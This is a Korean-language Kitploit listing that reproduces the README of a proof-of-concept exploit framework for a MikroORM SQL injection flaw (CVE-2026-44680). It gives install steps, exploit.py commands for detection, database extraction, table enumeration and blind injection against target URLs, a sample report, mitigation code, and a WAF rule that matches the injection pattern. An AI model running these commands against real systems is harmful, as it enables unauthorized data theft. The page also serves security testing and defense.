Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework — MikroORM ≤7.0.13에 영향을 미치는 CVE-2026-44680용 PoC 도구입니다. UNION 기반 공격을 통해 JSON 경로 인젝션을 악용하여 데이터베이스 내용을 추출합니다. 취약점 탐지, 자동화된 데이터 추출, 테이블 열거 및 블라인드 인젝션 지원 기능을 제공합니다. Burp Suite용 프록시 통합 및 WAF 우회 기법을 포함합니다. | Kitploit
도구/GitHubGitHub/cerberusmrxi/cve-2026-44680-mikroorm-sql-injection-exploit-framework
Penetration Testing FrameworksVulnerability ScannersCode AnalysisExploitationWeb SecurityDatabase Security
GitHubcerberusmrxi/cve-2026-44680-mikroorm-sql-injection-exploit-framework

CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework

MikroORM ≤7.0.13에 영향을 미치는 CVE-2026-44680용 PoC 도구입니다. UNION 기반 공격을 통해 JSON 경로 인젝션을 악용하여 데이터베이스 내용을 추출합니다. 취약점 탐지, 자동화된 데이터 추출, 테이블 열거 및 블라인드 인젝션 지원 기능을 제공합니다. Burp Suite용 프록시 통합 및 WAF 우회 기법을 포함합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
11개월 전아직 검토되지 않음

CVE-2026-44680 - MikroORM SQL 인젝션 익스플로잇 프레임워크

Python Version License Status CVSS

보안 연구자를 위한 전문 PoC 도구


🔍 개요

CVE-2026-44680은 Node.js용 인기 TypeScript ORM인 MikroORM에 영향을 미치는 심각한 SQL 인젝션 취약점입니다. 이 익스플로잇 프레임워크는 보안 연구자와 침투 테스터에게 취약점을 탐지하고 악용할 수 있는 전문 도구를 제공합니다.

저자: Sudeepa Wanigarathna
버전: 1.0.0
분류: 전문 보안 연구 도구


🚨 취약점 세부 정보

속성값
CVE IDCVE-2026-44680
CVSS 점수7.6 (높음)
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음

영향받는 버전

  • @mikro-orm/knex <= 6.6.13
  • @mikro-orm/sql <= 7.0.13

근본 원인

MikroORM은 JSON_EXTRACT 쿼리를 빌드할 때 런타임에 제어되는 JSON 경로 키를 제대로 이스케이프하지 못합니다. 공격자는 JSON 경로 컨텍스트를 벗어나 임의의 SQL 코드를 주입할 수 있습니다.


✨ 기능


📦 설치

사전 요구 사항

root@kitploit:~
# Python 3.8 or higher
python3 --version

# pip package manager
pip --version

설치 단계

1단계: 저장소 복제

root@kitploit:~
git clone https://github.com/CerberusMrXi/CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework
cd CVE-2026-44680-exploit

2단계: 종속성 설치

root@kitploit:~
# Using requirements.txt
pip install -r requirements.txt

# Or install manually
pip install requests colorama tqdm urllib3 simplejson

3단계: 설치 확인

root@kitploit:~
python exploit.py --help

requirements.txt

root@kitploit:~
requests>=2.31.0
colorama>=0.4.6
tqdm>=4.65.0
urllib3>=2.0.0
simplejson>=3.19.0

🚀 빠른 시작

기본 사용법

root@kitploit:~
# Full exploitation
python exploit.py -u http://localhost:3000

# Vulnerability detection only
python exploit.py -u http://target.com --detect

# Extract database information
python exploit.py -u http://target.com --extract

# Enumerate tables
python exploit.py -u http://target.com --enumerate

📖 사용 가이드

명령 옵션

예제 명령

1. 전체 익스플로잇

root@kitploit:~
python exploit.py -u http://192.168.1.100:3000

2. 사용자 정의 엔드포인트

root@kitploit:~
python exploit.py -u http://target.com -e /api/v2/users/query

3. 프록시 사용 (Burp Suite)

root@kitploit:~
python exploit.py -u http://target.com -p http://127.0.0.1:8080

4. 상세 디버깅

root@kitploit:~
python exploit.py -u http://target.com -v --extract

5. 블라인드 인젝션

root@kitploit:~
python exploit.py -u http://target.com --blind

6. 탐지만 수행

root@kitploit:~
python exploit.py -u http://target.com --detect

7. 데이터베이스 정보 추출

root@kitploit:~
python exploit.py -u http://target.com --extract

8. 테이블 열거

root@kitploit:~
python exploit.py -u http://target.com --enumerate

📊 출력 예시

콘솔 출력

root@kitploit:~
============================================================
  MikroORM CVE-2026-44680 Exploitation Framework
  Author: Sudeepa Wanigarathna
============================================================

[*] Performing vulnerability detection on /api/users/search
[+] Vulnerable to time-based SQL injection

[+] Vulnerability confirmed!

[*] Extracting database information...
[*] Enumerating tables...
[+] Found table: users
[+] Found table: products
[+] Found table: orders
[+] Found table: payments
[+] Found table: admin

===== MIKROORM CVE-2026-44680 EXPLOITATION REPORT =====
Author: Sudeepa Wanigarathna (Security Researcher)
Date: 2026-07-20 14:30:45
Target: http://localhost:3000

[*] VULNERABILITY DETAILS
    - CVE: CVE-2026-44680
    - CVSS Score: 7.6 (High)
    - Affected Components: @mikro-orm/knex <= 6.6.13

[*] DATABASE INFORMATION
    - Version: 10.11.6-MariaDB
    - Database: production_db
    - User: root@localhost
    - Hostname: localhost

[*] ENUMERATED TABLES (5 found)
    1. users
    2. products
    3. orders
    4. payments
    5. admin

[+] Report saved to exploit_report_1742493645.txt
[+] Table list saved to tables_1742493645.txt

생성된 파일

root@kitploit:~
exploit_report_1742493645.txt  # Complete exploitation report
tables_1742493645.txt          # List of discovered tables

🛡️ 완화 조치

즉시 조치

1. MikroORM 업데이트

root@kitploit:~
npm install @mikro-orm/knex@latest
npm install @mikro-orm/sql@latest

2. 입력 검증

root@kitploit:~
const ALLOWED_JSON_PATHS = ['$.email', '$.name', '$.metadata'];

function validateJsonPath(key) {
    if (!ALLOWED_JSON_PATHS.includes(key)) {
        throw new Error('Invalid JSON path');
    }
    return key;
}

3. WAF 규칙

root@kitploit:~
# Block suspicious JSON path patterns
"filterField": "\$\.x'\) OR .* -- "

4. 데이터베이스 강화

  • 최소 권한 원칙 적용
  • 별도의 데이터베이스 사용자 사용
  • 쿼리 로깅 구현
  • SQL 인젝션 탐지 활성화

⚠️ 면책 조항

중요: 본 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다.

법적 고지

  • ✅ 시스템 테스트 전에 명시적 허가를 반드시 받아야 합니다
  • ✅ 오용으로 인한 피해에 대한 책임은 사용자에게 있습니다
  • ✅ 윤리적으로 사용하고 취약점을 책임감 있게 신고하세요

윤리적 사용 지침

  1. 승인: 시스템 소유자로부터 서면 허가를 받을 것
  2. 신고: 발견 사항을 관련 공급업체에 책임감 있게 신고할 것
  3. 기밀성: 패치가 적용될 때까지 취약점을 공개하지 말 것
  4. 제한 사항: 승인된 테스트 범위 내에서만 수행할 것

📄 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.

root@kitploit:~
MIT License

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
...

📚 참고 자료

  • CVE-2026-44680 상세 정보
  • MikroORM 보안 권고
  • OWASP SQL 인젝션 방지

보안 연구 커뮤니티를 위해 ❤️로 제작되었습니다

버그 신고 • 기능 요청 • GitHub에서 스타

도구 다운로드
기능설명상태
취약점 탐지시간 기반 및 오류 기반 탐지✅
데이터베이스 추출버전, 데이터베이스, 사용자, 호스트명✅
테이블 열거모든 테이블 자동 발견✅
UNION 기반 인젝션UNION SELECT를 통한 데이터 추출✅
블라인드 인젝션부울 기반 문자 추출✅
프록시 지원Burp Suite / 인터셉트 프록시✅
보고서 생성전문 TXT 보고서✅
WAF 우회고급 난독화 기법✅
플래그설명기본값
-u, --url대상 URL (필수)-
-e, --endpointAPI 엔드포인트/api/users/search
-p, --proxyHTTP 프록시None
-v, --verbose상세 출력False
--detect취약점 탐지만 수행False
--extract데이터베이스 정보 추출False
--enumerate테이블 열거False
--blind블라인드 인젝션 모드False